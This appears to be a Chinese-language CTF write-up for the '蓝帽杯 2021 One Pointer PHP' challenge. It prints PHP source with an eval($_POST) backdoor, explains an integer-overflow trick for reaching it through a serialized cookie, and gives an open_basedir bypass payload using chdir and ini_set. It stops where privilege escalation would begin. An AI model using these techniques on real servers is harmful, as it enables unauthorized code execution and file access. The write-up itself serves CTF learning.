php-fpm

php-fpm

八月 21, 2022

例题[蓝帽杯 2021]One Pointer PHP

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_POST["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>


1
2
3
4
5
6
<?php
class User{
public $count=1;
}
$u=new User();
?>

可以看到我们能rce但是要$count[]=1不成立,而对于count数组只有一组数据,

但是在对count数组填入数据时,做了一个下表递增的操作,而下表的值是我们可以控制的,这里就有了个数组越界

我们就可以让$user->count的值等于9223372036854775806自增后成了3A9223372036854775807就会产生数组越界我们就能命令执行了

可以看到执行了phpinfo

但是他设置了很多的disable_function

并且也设置了OPEN_BASEDIR

我们可以绕过open_basedir读文件

playload

1
2
3
4
5
6
7
8
9
mkdir('123'); 
chdir('123');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

但是不能读取flag,那么应该是要提权